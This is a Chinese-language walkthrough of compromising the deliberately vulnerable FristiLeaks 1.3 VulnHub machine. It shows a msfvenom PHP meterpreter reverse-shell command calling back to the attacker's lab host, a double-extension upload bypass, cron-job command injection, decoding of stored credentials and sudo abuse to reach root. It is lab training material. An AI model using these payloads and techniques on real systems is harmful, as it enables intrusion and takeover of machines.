0x00.前言

离别是为了相聚,只要能相聚,无论多痛苦的离别都可以忍受。

0x01.靶机的基本信息

靶机名称:FristiLeaks: 1.3

发布日期:2015 年 12 月 14 日

作者:Ar0xA

靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/

0x02.信息收集

nmap -sn 192.168.0.1/24
image-20211226120509521
sudo nmap -sS -O -A -p 1-65535 192.168.0.112
image-20211226120847028

没有得到太多信息,只开放了80端口,使用apache2.2.15,应该是只能从这里找突破口了。

0x03.解谜进后台

用浏览器访问,主页是这样,

image-20211226121227567

照样先在后台爆破下目录,

dirb http://192.168.0.112/ /usr/share/wordlists/dirb/big.txt
image-20211226121700070

发现了几个目录:/robots.txt;/beer;/images;依次访问下,

image-20211226121859205
image-20211226121915741
image-20211226121932470

没有得到什么有用信息,都是图片,连robots.txt的三个目录都是一样的图片,除非作者在图片中隐藏了信息。回过头来看首页,尝试性把主页的几个单词作为目录名,没想到进去了一个,

image-20211226122414146
image-20211226122444767

一个登录框,尝试了下SQL注入,不行。F12查看源代码,在head注释发现了一段信息:

 TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz

这个eezeepz说给我们留了一段信息,应该就是下一段base64编码的东西,

image-20211226122841233

得到了两个信息,一个用户名:eezeepz,一段base64编码。

用burp自带的解码工具解码看下,

image-20211226123025920

png开头的一段乱码,十有八九是张图片,我们尝试把网页上的那个黄色小人图片替换为我们的这段编码(其实网页上这张图片也是一段base64编码)。

image-20211226123609883

可以看到替换后黄色小人变为了一串字符串,可能是密码,加上之前得到的用户名:eezeepz/keKkeKKeKKeKkEkkEk,来尝试登录,

image-20211226123908881

成功登录了。

0x04.错误配置导致文件上传拿shell

后台就一个文件上传的点,

image-20211226124017051

尝试上传一个shell,用MSF来生成一个php的反弹shell,

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=4444 -f raw > 1225shell.php

生成了直接上传,

image-20211226124322423

被拦截了,提示只能上传png,jpg,gif。apache有个换行解析漏洞(2.4.0~2.4.29),但这里apache版本是2.2.15,所以应该不行。尝试把后缀改为.php.jpg上传,

image-20211226200317027
image-20211226200354998

上传成功了,原因是过滤条件是从右向左读取第一个后缀,而服务器识别文件是从左向右读取第一个后缀。上传完成后就打开MSF进行监听,

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.109
set lport 4444
exploit

然后浏览器访问木马地址:http://192.168.0.112/fristi/uploads/1225shell.php.jpg

image-20211226201224146

成功拿到一个shell,

image-20211226201308965

0x05.解谜+sudo-l提权

是一个普通的apache权限,先获取下tty,

python -c 'import pty; pty.spawn("/bin/bash")'

查找一番,在/var/www下可以发现一个名为notes.txt的文本文件,

image-20211226201548980

大概内容就是jerry叫这个eezeepz去他自己的home目录看下。这里可以得到两个可能有用的信息:一是jerry是个可能的用户名,二是/home/eezeepz下有东西,不一定用得上,但得先记着。

到/home目录下,也只有eezeepz的用户目录,我们才有读的权限,

image-20211226201923903

进入eezeepz目录,又发现了一个notes.txt,

image-20211226202025413

意思是我们只要在/tmp下创建一个名为runthis的文件,jerry设置的crontab定时任务就会执行其中的命令。这敢情好,本来想直接反弹个shell,但是不太会操作,那就先去/home目录下的其他用户目录看看,/home下有三个用户:admin;eezeepz;frisigod;

先看admin,所以将admin目录的权限直接给到777,

echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis

执行后最多等一分钟就可以进入/home/admin目录,

image-20211226202802041

可以看到可疑文件比较多,优先查看两个文本文件:

cryptedpass.txt        ->  mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt    ->  =RFn0AKnlMHMPIzpyuTI0ITG

看上去像是加密后的密码,因为注意到whoisyourgodnow.txt这个文件的所属用户是fristigod,所以分别去尝试登录了(admin/mVGZ3O3omkJLmy2pcuTq;fristigo/=RFn0AKnlMHMPIzpyuTI0ITG)。

显然,都失败了。

另外还有两个python脚本,一个就是定时任务的脚本cronjob.py,另一个是cryptpass.py,从名字上看这个应该就是加密密码所用的脚本,分别查看他们的内容,

cat cronjob.py
import os

def writefile(str):
    with open('/tmp/cronresult','a') as er:
        er.write(str)
        er.close()

with open('/tmp/runthis','r') as f:
    for line in f:
        #does the command start with /home/admin or /usr/bin?
        if line.startswith('/home/admin/') or line.startswith('/usr/bin/'):
            #lets check for pipeline
            checkparams= '|&;'
            if checkparams in line:
                writefile("Sorry, not allowed to use |, & or ;")
                exit(1)
            else:
                writefile("executing: "+line)
                result =os.popen(line).read()
                writefile(result)
        else:
            writefile("command did not start with /home/admin or /usr/bin")
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

和我们预想的差不多。而这个加密脚本并不复杂,就是先将明文进行base64编码,然后再用rot13加密(一种简单的替换式加密)。我们只需将这个过程逆向完成一遍就可以得到明文了。

理论存在,实践开始,快速编写一个解密脚本,如下,

import base64,codecs,sys
x = "=RFn0AKnlMHMPIzpyuTI0ITG"      #x为要解密的密文
def decodeString():
    x2 = codecs.decode(x[::-1],'rot13')
    x3 = base64.b64decode(x2)
    print("解码成功,密文如下:")
    print (x3)
decodeString()

依次将两个密文解密,得到

mVGZ3O3omkJLmy2pcuTq        ->  thisisalsopw123
=RFn0AKnlMHMPIzpyuTI0ITG    ->  LetThereBeFristi!

尝试登录admin/thisisalsopw123,成功

image-20211226231018218

不过admin并不是root权限,也没有sudo权限,那么尝试登录fristigod/LetThereBeFristi!

成功登录,且有sudo权限,

image-20211226231610884

可以执行这个doCom文件,

image-20211226231649521
image-20211226231710316

尝试执行,提示错误用户,记得前面在sudo-l时好像确实看到了一个用户名,passwd文件也可以看到这个用户,

image-20211226231858778
image-20211226231924668

那么使用fristi用户来尝试下,

image-20211226232039723

果然提示用法了,应该是可以以root权限执行命令,那么

sudo -u fristi ./doCom /bin/bash
image-20211226232603483

现在,我们拿到了root权限。

0x06.总结

这台靶机比较偏向于CTF解密性质,个人不太喜欢这种,因为里面真正的漏洞并不多,跟实战偏离有点远。

参考文章:

https://www.dotnetrussell.com/index.php/2017/05/04/vulnhub-fristileaks-vm-walkthrough/
https://c0dehouse.blogspot.com/2015/12/vulnhub-fristileaks-13.html
https://hackinguyz.blogspot.com/2016/10/ctf-fristileaks-13-walkthrough.html